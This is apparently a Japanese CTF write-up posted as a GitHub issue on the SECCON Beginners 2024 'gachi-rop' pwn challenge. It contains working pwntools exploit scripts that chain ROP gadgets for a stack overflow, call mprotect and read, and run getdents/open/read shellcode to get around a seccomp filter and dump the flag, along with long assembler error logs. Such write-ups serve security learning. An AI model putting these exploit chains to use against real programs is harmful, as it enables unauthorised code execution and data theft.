Open roaris opened 1 month ago
時間中に解けなかった問題
まず、時間中に自分が考えていたことを書いておく
ソースコードは与えられていない
$ ./gachi-rop
system@0x7fd95f027920
Name: test
Hello, gachi-rop-test!!
$ checksec gachi-rop
[*] '/home/roaris/SECCON_beginners_2024/gachi-rop/gachi-rop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
objdumpしてmain関数を確認する
000000000040121b <main>:
40121b: 55 push rbp
40121c: 48 89 e5 mov rbp,rsp
40121f: 48 83 ec 10 sub rsp,0x10
401223: b8 00 00 00 00 mov eax,0x0
401228: e8 59 ff ff ff call 401186 <install_seccomp>
40122d: 48 8b 05 bc 2d 00 00 mov rax,QWORD PTR [rip+0x2dbc] # 403ff0 <system@GLIBC_2.2.5>
401234: 48 89 c6 mov rsi,rax
401237: 48 8d 05 f7 0d 00 00 lea rax,[rip+0xdf7] # 402035 <_IO_stdin_used+0x35>
40123e: 48 89 c7 mov rdi,rax
401241: b8 00 00 00 00 mov eax,0x0
401246: e8 e5 fd ff ff call 401030 <printf@plt>
40124b: 48 c7 45 f0 00 00 00 mov QWORD PTR [rbp-0x10],0x0
401252: 00
401253: 48 c7 45 f8 00 00 00 mov QWORD PTR [rbp-0x8],0x0
40125a: 00
40125b: 48 8d 05 de 0d 00 00 lea rax,[rip+0xdde] # 402040 <_IO_stdin_used+0x40>
401262: 48 89 c7 mov rdi,rax
401265: b8 00 00 00 00 mov eax,0x0
40126a: e8 c1 fd ff ff call 401030 <printf@plt>
40126f: 48 8d 45 f0 lea rax,[rbp-0x10]
401273: 48 89 c7 mov rdi,rax
401276: b8 00 00 00 00 mov eax,0x0
40127b: e8 e0 fd ff ff call 401060 <gets@plt>
401280: 48 8d 45 f0 lea rax,[rbp-0x10]
401284: 48 89 c6 mov rsi,rax
401287: 48 8d 05 b9 0d 00 00 lea rax,[rip+0xdb9] # 402047 <_IO_stdin_used+0x47>
40128e: 48 89 c7 mov rdi,rax
401291: b8 00 00 00 00 mov eax,0x0
401296: e8 95 fd ff ff call 401030 <printf@plt>
40129b: b8 00 00 00 00 mov eax,0x0
4012a0: c9 leave
4012a1: c3 ret
gets関数を使って、rbp-0x10を開始位置として入力を格納している スタックオーバーフローだろう 参考: http://www1.cts.ne.jp/~clab/hsample/IO/IO16.html
実行時のsystem関数のアドレスが分かっているので、pop rdi; ret;
でsh\0
のアドレスをrdiに格納してから、system
関数を呼び出せばよいだろう
call 401186 <install_seccomp>
が何なのか気にはなっていたが、とりあえずこの方針でやってみた
以下のプログラムを書いた
pop rdi; ret;
のアドレスはlibc.so.6から見つけている
5f c3でpop rdi; ret;
になるというのを知っている
...
2a3e4: 41 5f pop r15
2a3e6: c3 ret
...
sh\0
もpwntoolsを使って、libc.so.6から見つけている
from pwn import *
is_remote = True
if is_remote:
io = remote('gachi-rop.beginners.seccon.games', 4567)
libc_system_addr = 0x50d70
libc_pop_rdi_ret_addr = 0x2a3e5
e = ELF('./libc.so.6')
libc_system_arg_addr = next(e.search(b'sh\0'))
io.recvuntil(b'system@')
runtime_system_addr = int(io.recvuntil(b'\n')[:-1], 16)
libc_base = runtime_system_addr - libc_system_addr
runtime_pop_rdi_ret_addr = libc_base + libc_pop_rdi_ret_addr
runtime_system_arg_addr = libc_base + libc_system_arg_addr
payload = b'a' * (0x10 + 0x8)
payload += runtime_pop_rdi_ret_addr.to_bytes(8, 'little')
payload += runtime_system_arg_addr.to_bytes(8, 'little')
payload += runtime_system_addr.to_bytes(8, 'little')
io.sendline(payload)
io.interactive()
しかし、上手くいかない rspレジスタが16の倍数じゃないといけないというやつかもしれない https://github.com/roaris/ctf-log/issues/51#issuecomment-2159089169
ret命令を挟んで、rspレジスタを8ずらしてみるが、上手くいかない
from pwn import *
is_remote = True
if is_remote:
io = remote('gachi-rop.beginners.seccon.games', 4567)
libc_system_addr = 0x50d70
libc_pop_rdi_ret_addr = 0x2a3e5
e = ELF('./libc.so.6')
libc_system_arg_addr = next(e.search(b'sh\0'))
ret_addr = 0x40101a
io.recvuntil(b'system@')
runtime_system_addr = int(io.recvuntil(b'\n')[:-1], 16)
libc_base = runtime_system_addr - libc_system_addr
runtime_pop_rdi_ret_addr = libc_base + libc_pop_rdi_ret_addr
runtime_system_arg_addr = libc_base + libc_system_arg_addr
payload = b'a' * (0x10 + 0x8)
payload += ret_addr.to_bytes(8, 'little')
payload += runtime_pop_rdi_ret_addr.to_bytes(8, 'little')
payload += runtime_system_arg_addr.to_bytes(8, 'little')
payload += runtime_system_addr.to_bytes(8, 'little')
io.sendline(payload)
io.interactive()
ローカルで試した
#include <stdio.h>
#include <stdlib.h>
int main() {
printf("system@%p\n", &system);
char buf[0x10];
printf("Name: ");
gets(buf);
printf("Hello, gachi-rop-%s!!", buf);
}
gcc test.c -o test -fno-stack-protector -no-pie
でコンパイルする
lddコマンドでlibcのパスを確認する
$ ldd test
linux-vdso.so.1 (0x00007ffc291d8000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f6e22978000)
/lib64/ld-linux-x86-64.so.2 (0x00007f6e22b72000)
from pwn import *
is_remote = False
if is_remote:
io = remote('gachi-rop.beginners.seccon.games', 4567)
libc_system_addr = 0x50d70
libc_pop_rdi_ret_addr = 0x2a3e5
e = ELF('./libc.so.6')
libc_system_arg_addr = next(e.search(b'sh\0'))
ret_addr = 0x40101a
else:
io = process('./test')
libc_system_addr = 0x4c920
libc_pop_rdi_ret_addr = 0x27c65
e = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_system_arg_addr = next(e.search(b'sh\0'))
ret_addr = 0x401016
io.recvuntil(b'system@')
runtime_system_addr = int(io.recvuntil(b'\n')[:-1], 16)
libc_base = runtime_system_addr - libc_system_addr
runtime_pop_rdi_ret_addr = libc_base + libc_pop_rdi_ret_addr
runtime_system_arg_addr = libc_base + libc_system_arg_addr
payload = b'a' * (0x10 + 0x8)
payload += ret_addr.to_bytes(8, 'little')
payload += runtime_pop_rdi_ret_addr.to_bytes(8, 'little')
payload += runtime_system_arg_addr.to_bytes(8, 'little')
payload += runtime_system_addr.to_bytes(8, 'little')
io.sendline(payload)
io.interactive()
ローカルでは成功する
ということは、call 401186 <install_seccomp>
が怪しいだろう
しかし、ここから何をしたら良いのか分からなくて解けなかった
writeupを確認する https://github.com/satoki/ctf4b_2024_satoki_writeups/tree/main/pwnable/gachi-rop
seccompというものがあるらしい https://www.creationline.com/tech-blog/46861
Seccompとは、Linuxカーネルが持つセキュリティ機構の一つで、Secure Computing Modeの略です。簡単に言うと、Seccompはシステムコールの許可・不許可を設定できるようにし、危険なシステムコールを実行できなくするためのものです。
seccomp-toolsで確認出来るらしい
$ seccomp-tools dump ./gachi-rop
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x03 0x00 0x40000000 if (A >= 0x40000000) goto 0007
0004: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0007
0005: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00050000 return ERRNO(0)
ちゃんとした見方は分からないが、雰囲気としてはexecveシステムコールやexecveatシステムコールを呼ぶと、エラーになるという感じである
execveは、execveを呼び出したプロセスの動作を、引数で指定したプログラムの実行に切り替えるというもの
man 2 execve
による説明
execve() executes the program referred to by pathname. This causes the program that is currently being run by the calling process to be replaced with a new program, with newly initialized stack, heap, and (initialized and uninitialized) data segments.
execveatもexecveと同じ感じだろう(ちゃんと見てない)
system関数ではexecveシステムコールやexecveatシステムコールを使っているため、seccompでエラーになってしまう
seccompの存在は知ったが、それでもどうやって解けばよいのか分からない writeupのコードを頑張って理解する
getdentsシステムコールというものを使っている
man 2 getdents
で確認する
SYNOPSIS
#include <sys/syscall.h> /* Definition of SYS_* constants */
#include <unistd.h>
long syscall(SYS_getdents, unsigned int fd, struct linux_dirent *dirp,
unsigned int count);
#define _GNU_SOURCE /* See feature_test_macros(7) */
#include <dirent.h>
ssize_t getdents64(int fd, void dirp[.count], size_t count);
Note: glibc provides no wrapper for getdents(), necessitating the use of syscall(2).
Note: There is no definition of struct linux_dirent in glibc; see NOTES.
DESCRIPTION
These are not the interfaces you are interested in. Look at readdir(3) for the POSIX-conforming C library in‐
terface. This page documents the bare kernel system call interfaces.
getdents()
The system call getdents() reads several linux_dirent structures from the directory referred to by the open
file descriptor fd into the buffer pointed to by dirp. The argument count specifies the size of that buffer.
The linux_dirent structure is declared as follows:
struct linux_dirent {
unsigned long d_ino; /* Inode number */
unsigned long d_off; /* Offset to next linux_dirent */
unsigned short d_reclen; /* Length of this linux_dirent */
char d_name[]; /* Filename (null-terminated) */
/* length is actually (d_reclen - 2 -
offsetof(struct linux_dirent, d_name)) */
/*
char pad; // Zero padding byte
char d_type; // File type (only since Linux
// 2.6.4); offset is (d_reclen - 1)
*/
}
d_ino is an inode number. d_off is the distance from the start of the directory to the start of the next
linux_dirent. d_reclen is the size of this entire linux_dirent. d_name is a null-terminated filename.
ディレクトリに対してopenシステムコールで得られるファイルディスクリプタを渡すことで、linux_direntという構造体が指定のアドレスに書き込まれる linux_direntにはd_nameというフィールドがあり、これを参照することで、ファイル名が得られる d_nameの前に、long型のフィールド2つと、short型のフィールド2つがある long型は8バイト、short型は2バイトなので、d_nameはlinux_direntの先頭アドレスから18バイト先に存在する ディレクトリ中のどのファイル名が得られるの?という気になる writeupのコードを読むと、getdentsシステムコールを繰り返し呼んでいる getdentsシステムコールを繰り返し呼んでいくことで、得られるファイル名が変わっていくようだ
まず、ctf4bディレクトリに対して、openシステムコールを呼ぶ そして、以下を繰り返す
getdentsの戻り値については
RETURN VALUE On success, the number of bytes read is returned. On end of directory, 0 is returned. On error, -1 is re‐ turned, and errno is set to indicate the error.
とある エラーが起こることは考えず、0が返されたらexitシステムコールを呼ぶ
以上の処理をシェルコードとして、bss領域に書き込んで、mprotectシステムコールで実行権限を付与する
mprotectシステムコールについてもman 2 mprotect
で確認しよう
SYNOPSIS
#include <sys/mman.h>
int mprotect(void addr[.len], size_t len, int prot);
#define _GNU_SOURCE /* See feature_test_macros(7) */
#include <sys/mman.h>
int pkey_mprotect(void addr[.len], size_t len, int prot, int pkey);
DESCRIPTION
mprotect() changes the access protections for the calling process's memory pages containing any part of the
address range in the interval [addr, addr+len-1]. addr must be aligned to a page boundary.
writeupではprotを7にしている
多分、読み込み、書き込み、実行の論理和が7なんだろう
コード中のelf.section(".bss") & ~0xFFF
の& ~0xFFF
は下位12ビットを0にするという処理である
addr must be aligned to a page boundary.
とあるので、こうしないとエラーになるのだろう(ページサイズは一般的に4096ビットのようだ)
readシステムコールに標準入力のファイルディスクリプタを与えることで、bss領域にシェルコードを書き込む
jmp命令でシェルコードの先頭アドレスに飛んで、シェルコードを実行する
writeupのコードを見ながら、自分でコードを書いてみる
from pwn import *
is_remote = True
if is_remote:
io = remote('gachi-rop.beginners.seccon.games', 4567)
e = ELF('./gachi-rop')
libc = ELF('./libc.so.6')
libc_system_addr = libc.symbols['system']
libc_mprotect_addr = libc.symbols['mprotect']
libc_read_addr = libc.symbols['read']
shellcode_addr = e.bss() & ~0xFFF
shellcode_len = 0x1000
rop = ROP(libc)
libc_pop_rdi_ret_addr = rop.find_gadget(['pop rdi', 'ret']).address
libc_pop_rsi_ret_addr = rop.find_gadget(['pop rsi', 'ret']).address
libc_pop_rdx_pop_r12_ret_addr = rop.find_gadget(['pop rdx', 'pop r12', 'ret']).address
libc_pop_rax_ret_addr = rop.find_gadget(['pop rax', 'ret']).address
# libc_jmp_rax_addr = rop.find_gadget(['jmp rax']).address
libc_jmp_rax_addr = 0x2a147
io.recvuntil(b'system@')
runtime_system_addr = int(io.recvuntil(b'\n')[:-1], 16)
libc_base = runtime_system_addr - libc_system_addr
payload = b'a' * (0x10 + 0x8)
# mprotect
payload += (libc_pop_rdi_ret_addr + libc_base).to_bytes(8, 'little')
payload += shellcode_addr.to_bytes(8, 'little') # mprotect arg1 addr
payload += (libc_pop_rsi_ret_addr + libc_base).to_bytes(8, 'little')
payload += shellcode_len.to_bytes(8, 'little') # mprotect arg2 len
payload += (libc_pop_rdx_pop_r12_ret_addr + libc_base).to_bytes(8, 'little')
payload += 0x7.to_bytes(8, 'little') # mprotect arg3 prot
payload += 0x0.to_bytes(8, 'little') # dummy
payload += (libc_mprotect_addr + libc_base).to_bytes(8, 'little')
# read
payload += (libc_pop_rdi_ret_addr + libc_base).to_bytes(8, 'little')
payload += 0x0.to_bytes(8, 'little') # read arg1 fd
payload += (libc_pop_rsi_ret_addr + libc_base).to_bytes(8, 'little')
payload += shellcode_addr.to_bytes(8, 'little') # mprotect arg2 addr
payload += (libc_pop_rdx_pop_r12_ret_addr + libc_base).to_bytes(8, 'little')
payload += shellcode_len.to_bytes(8, 'little') # mprotect arg3 len
payload += 0x0.to_bytes(8, 'little') # dummy
payload += (libc_read_addr + libc_base).to_bytes(8, 'little')
# jmp
payload += (libc_pop_rax_ret_addr + libc_base).to_bytes(8, 'little')
payload += shellcode_addr.to_bytes(8, 'little')
payload += libc_pop_rax_ret_addr.to_bytes(8, 'little')
io.sendline(payload)
shellcode = asm(
"""
xor rsi, rsi
lea rdi, [rel ctf4b]
mov rax, 2
syscall
mov r13, rax
loop:
mov rdx, 0x40
lea rsi, [rel buf]
mov rdi, r13
mov rax, 78
syscall
test rax, rax
jz end
mov dword [buf + 18 - 8], './ct'
mov dword [buf + 18 - 4], 'f4b/'
xor rsi, rsi
lea rdi, [buf + 18 - 8]
mov rax, 2
syscall
mov rdx, 0x100
mov rsi, [rel buf]
mov rdi, rax
mov rax, 0
syscall
test rax, rax
jz loop
mov rdx, rax
mov rsi, [rel buf]
mov rdi, 1
mov rax, 1
syscall
jmp loop
end:
xor rdi, rdi
mov rax, 60
syscall
ctf4b: db "./ctf4b", 0
buf:
"""
)
io.sendline(shellcode)
print(io.recvall())
$ python exploit2.py
[+] Opening connection to gachi-rop.beginners.seccon.games on port 4567: Done
[*] '/home/roaris/SECCON_beginners_2024/gachi-rop/gachi-rop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/home/roaris/SECCON_beginners_2024/gachi-rop/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Loaded 219 cached gadgets for './libc.so.6'
[ERROR] There was an error running ['/usr/bin/x86_64-linux-gnu-as', '-32', '-o', '/tmp/pwn-asm-e7_lw8ae/step2', '/tmp/pwn-asm-e7_lw8ae/step1']:
It had the exitcode 1.
It had this on stdout:
/tmp/pwn-asm-e7_lw8ae/step1: Assembler messages:
/tmp/pwn-asm-e7_lw8ae/step1:8: Error: operand size mismatch for `xor'
/tmp/pwn-asm-e7_lw8ae/step1:9: Error: bad expression
/tmp/pwn-asm-e7_lw8ae/step1:9: Error: junk `rel ctf4b]' after expression
/tmp/pwn-asm-e7_lw8ae/step1:10: Error: ambiguous operand size for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:12: Error: operand size mismatch for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:14: Error: ambiguous operand size for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:15: Error: bad expression
/tmp/pwn-asm-e7_lw8ae/step1:15: Error: junk `rel buf]' after expression
/tmp/pwn-asm-e7_lw8ae/step1:16: Error: operand size mismatch for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:17: Error: ambiguous operand size for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:19: Error: operand size mismatch for `test'
/tmp/pwn-asm-e7_lw8ae/step1:21: Error: junk `dword [buf+18 - 4]' after expression
/tmp/pwn-asm-e7_lw8ae/step1:22: Error: operand type mismatch for `lea'
/tmp/pwn-asm-e7_lw8ae/step1:23: Error: ambiguous operand size for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:25: Error: ambiguous operand size for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:26: Error: bad expression
/tmp/pwn-asm-e7_lw8ae/step1:26: Error: junk `rel buf]' after expression
/tmp/pwn-asm-e7_lw8ae/step1:27: Error: operand size mismatch for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:28: Error: ambiguous operand size for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:30: Error: operand size mismatch for `test'
/tmp/pwn-asm-e7_lw8ae/step1:32: Error: operand size mismatch for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:33: Error: bad expression
/tmp/pwn-asm-e7_lw8ae/step1:33: Error: junk `rel buf]' after expression
/tmp/pwn-asm-e7_lw8ae/step1:34: Error: ambiguous operand size for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:35: Error: ambiguous operand size for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:39: Error: operand size mismatch for `xor'
/tmp/pwn-asm-e7_lw8ae/step1:40: Error: ambiguous operand size for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:42: Error: no such instruction: `db "./ctf4b",0'
[ERROR] An error occurred while assembling:
1: .section .shellcode,"awx"
2: .global _start
3: .global __start
4: _start:
5: __start:
6: .intel_syntax noprefix
7: .p2align 0
8: xor rsi, rsi
9: lea rdi, [rel ctf4b]
10: mov rax, 2
11: syscall
12: mov r13, rax
13: loop:
14: mov rdx, 0x40
15: lea rsi, [rel buf]
16: mov rdi, r13
17: mov rax, 78
18: syscall
19: test rax, rax
20: jz end
21: mov dword [buf + 18 - 8], './ct'
22: mov dword [buf + 18 - 4], 'f4b/'
23: xor rsi, rsi
24: lea rdi, [buf + 18 - 8]
25: mov rax, 2
26: syscall
27: mov rdx, 0x100
28: mov rsi, [rel buf]
29: mov rdi, rax
30: mov rax, 0
31: syscall
32: test rax, rax
33: jz loop
34: mov rdx, rax
35: mov rsi, [rel buf]
36: mov rdi, 1
37: mov rax, 1
38: syscall
39: jmp loop
40: end:
41: xor rdi, rdi
42: mov rax, 60
43: syscall
44: ctf4b: db "./ctf4b", 0
45: buf:
Traceback (most recent call last):
File "/home/roaris/.local/lib/python3.11/site-packages/pwnlib/asm.py", line 713, in asm
_run(assembler + ['-o', step2, step1])
File "/home/roaris/.local/lib/python3.11/site-packages/pwnlib/asm.py", line 431, in _run
log.error(msg, *args)
File "/home/roaris/.local/lib/python3.11/site-packages/pwnlib/log.py", line 439, in error
raise PwnlibException(message % args)
pwnlib.exception.PwnlibException: There was an error running ['/usr/bin/x86_64-linux-gnu-as', '-32', '-o', '/tmp/pwn-asm-e7_lw8ae/step2', '/tmp/pwn-asm-e7_lw8ae/step1']:
It had the exitcode 1.
It had this on stdout:
/tmp/pwn-asm-e7_lw8ae/step1: Assembler messages:
/tmp/pwn-asm-e7_lw8ae/step1:8: Error: operand size mismatch for `xor'
/tmp/pwn-asm-e7_lw8ae/step1:9: Error: bad expression
/tmp/pwn-asm-e7_lw8ae/step1:9: Error: junk `rel ctf4b]' after expression
/tmp/pwn-asm-e7_lw8ae/step1:10: Error: ambiguous operand size for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:12: Error: operand size mismatch for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:14: Error: ambiguous operand size for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:15: Error: bad expression
/tmp/pwn-asm-e7_lw8ae/step1:15: Error: junk `rel buf]' after expression
/tmp/pwn-asm-e7_lw8ae/step1:16: Error: operand size mismatch for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:17: Error: ambiguous operand size for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:19: Error: operand size mismatch for `test'
/tmp/pwn-asm-e7_lw8ae/step1:21: Error: junk `dword [buf+18 - 4]' after expression
/tmp/pwn-asm-e7_lw8ae/step1:22: Error: operand type mismatch for `lea'
/tmp/pwn-asm-e7_lw8ae/step1:23: Error: ambiguous operand size for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:25: Error: ambiguous operand size for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:26: Error: bad expression
/tmp/pwn-asm-e7_lw8ae/step1:26: Error: junk `rel buf]' after expression
/tmp/pwn-asm-e7_lw8ae/step1:27: Error: operand size mismatch for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:28: Error: ambiguous operand size for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:30: Error: operand size mismatch for `test'
/tmp/pwn-asm-e7_lw8ae/step1:32: Error: operand size mismatch for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:33: Error: bad expression
/tmp/pwn-asm-e7_lw8ae/step1:33: Error: junk `rel buf]' after expression
/tmp/pwn-asm-e7_lw8ae/step1:34: Error: ambiguous operand size for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:35: Error: ambiguous operand size for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:39: Error: operand size mismatch for `xor'
/tmp/pwn-asm-e7_lw8ae/step1:40: Error: ambiguous operand size for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:42: Error: no such instruction: `db "./ctf4b",0'
Traceback (most recent call last):
File "/home/roaris/SECCON_beginners_2024/gachi-rop/exploit2.py", line 61, in <module>
shellcode = asm(
^^^^
File "/home/roaris/.local/lib/python3.11/site-packages/pwnlib/context/__init__.py", line 1581, in setter
return function(*a, **kw)
^^^^^^^^^^^^^^^^^^
File "/home/roaris/.local/lib/python3.11/site-packages/pwnlib/asm.py", line 759, in asm
log.exception("An error occurred while assembling:\n%s" % lines)
File "/home/roaris/.local/lib/python3.11/site-packages/pwnlib/asm.py", line 713, in asm
_run(assembler + ['-o', step2, step1])
File "/home/roaris/.local/lib/python3.11/site-packages/pwnlib/asm.py", line 431, in _run
log.error(msg, *args)
File "/home/roaris/.local/lib/python3.11/site-packages/pwnlib/log.py", line 439, in error
raise PwnlibException(message % args)
pwnlib.exception.PwnlibException: There was an error running ['/usr/bin/x86_64-linux-gnu-as', '-32', '-o', '/tmp/pwn-asm-e7_lw8ae/step2', '/tmp/pwn-asm-e7_lw8ae/step1']:
It had the exitcode 1.
It had this on stdout:
/tmp/pwn-asm-e7_lw8ae/step1: Assembler messages:
/tmp/pwn-asm-e7_lw8ae/step1:8: Error: operand size mismatch for `xor'
/tmp/pwn-asm-e7_lw8ae/step1:9: Error: bad expression
/tmp/pwn-asm-e7_lw8ae/step1:9: Error: junk `rel ctf4b]' after expression
/tmp/pwn-asm-e7_lw8ae/step1:10: Error: ambiguous operand size for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:12: Error: operand size mismatch for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:14: Error: ambiguous operand size for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:15: Error: bad expression
/tmp/pwn-asm-e7_lw8ae/step1:15: Error: junk `rel buf]' after expression
/tmp/pwn-asm-e7_lw8ae/step1:16: Error: operand size mismatch for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:17: Error: ambiguous operand size for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:19: Error: operand size mismatch for `test'
/tmp/pwn-asm-e7_lw8ae/step1:21: Error: junk `dword [buf+18 - 4]' after expression
/tmp/pwn-asm-e7_lw8ae/step1:22: Error: operand type mismatch for `lea'
/tmp/pwn-asm-e7_lw8ae/step1:23: Error: ambiguous operand size for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:25: Error: ambiguous operand size for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:26: Error: bad expression
/tmp/pwn-asm-e7_lw8ae/step1:26: Error: junk `rel buf]' after expression
/tmp/pwn-asm-e7_lw8ae/step1:27: Error: operand size mismatch for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:28: Error: ambiguous operand size for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:30: Error: operand size mismatch for `test'
/tmp/pwn-asm-e7_lw8ae/step1:32: Error: operand size mismatch for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:33: Error: bad expression
/tmp/pwn-asm-e7_lw8ae/step1:33: Error: junk `rel buf]' after expression
/tmp/pwn-asm-e7_lw8ae/step1:34: Error: ambiguous operand size for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:35: Error: ambiguous operand size for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:39: Error: operand size mismatch for `xor'
/tmp/pwn-asm-e7_lw8ae/step1:40: Error: ambiguous operand size for `mov'
/tmp/pwn-asm-e7_lw8ae/step1:42: Error: no such instruction: `db "./ctf4b",0'
[*] Closed connection to gachi-rop.beginners.seccon.games port 4567
シェルコードの書き方が違うらしく、大量のエラーが発生した
https://qiita.com/toha/items/65cfc6144128c5988e22#gachi-rop も参考にして、なんとか書いた シェルコードはshellcraftを使うと楽できる
from pwn import *
io = remote('gachi-rop.beginners.seccon.games', 4567)
exe = ELF('./gachi-rop', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
context.binary = exe
libc_system_addr = libc.symbols['system']
io.recvuntil(b'system@')
runtime_system_addr = int(io.recvuntil(b'\n')[:-1], 16)
libc_base = runtime_system_addr - libc_system_addr
shellcode_addr = exe.bss() & ~0xFFF # & ~0xFFF for alignment to page size
shellcode_len = 0x1000
# for rop
rop = ROP(libc)
runtime_mprotect_addr = libc_base + libc.symbols['mprotect']
runtime_read_addr = libc_base + libc.symbols['read']
runtime_pop_rdi_ret_addr = libc_base + rop.find_gadget(['pop rdi', 'ret']).address
runtime_pop_rsi_ret_addr = libc_base + rop.find_gadget(['pop rsi', 'ret']).address
runtime_pop_rdx_pop_r12_ret_addr = libc_base + rop.find_gadget(['pop rdx', 'pop r12', 'ret']).address
# create payload
payload = b'a' * (0x10 + 0x8)
## mprotect(shellcode_addr, shellcode_len, 7)
## 7 is PROT_READ|PROT_WRITE|PROT_EXEC
payload += runtime_pop_rdi_ret_addr.to_bytes(8, 'little')
payload += shellcode_addr.to_bytes(8, 'little')
payload += runtime_pop_rsi_ret_addr.to_bytes(8, 'little')
payload += shellcode_len.to_bytes(8, 'little')
payload += runtime_pop_rdx_pop_r12_ret_addr.to_bytes(8, 'little')
payload += 0x7.to_bytes(8, 'little')
payload += 0x0.to_bytes(8, 'little') # dummy
payload += runtime_mprotect_addr.to_bytes(8, 'little')
## read(0, shellcode_addr, shellcode_len)
payload += runtime_pop_rdi_ret_addr.to_bytes(8, 'little')
payload += 0x0.to_bytes(8, 'little')
payload += runtime_pop_rsi_ret_addr.to_bytes(8, 'little')
payload += shellcode_addr.to_bytes(8, 'little')
payload += runtime_pop_rdx_pop_r12_ret_addr.to_bytes(8, 'little')
payload += shellcode_len.to_bytes(8, 'little')
payload += 0x0.to_bytes(8, 'little') # dummy
payload += runtime_read_addr.to_bytes(8, 'little')
## ret to shellcode
payload += shellcode_addr.to_bytes(8, 'little')
io.sendline(payload)
# create shellcode
shellcode = asm(f'''
{shellcraft.linux.open('/app/ctf4b', 0)}
mov r13, rax
loop:
{shellcraft.linux.getdents('r13', 'rsp', 0x50)}
test eax, eax
jz end
/* rsp + 18 is file name addr (ref to `man 2 getdent`) */
mov dword ptr [rsp + 18 - 8], 0x74632F2E /* ./ct */
mov dword ptr [rsp + 18 - 4], 0x2F623466 /* f4b/ */
lea r12, [rsp + 18 - 8]
{shellcraft.linux.open('r12', 0)}
{shellcraft.linux.read('rax', 'rsp', 0x30)}
{shellcraft.linux.write(1, 'rsp', 'rax')}
jmp loop
end:
{shellcraft.linux.exit(0)}
''')
io.sendline(shellcode)
print(io.recvall())
(まだ問題がGitHubにアップロードされてないので後で追記)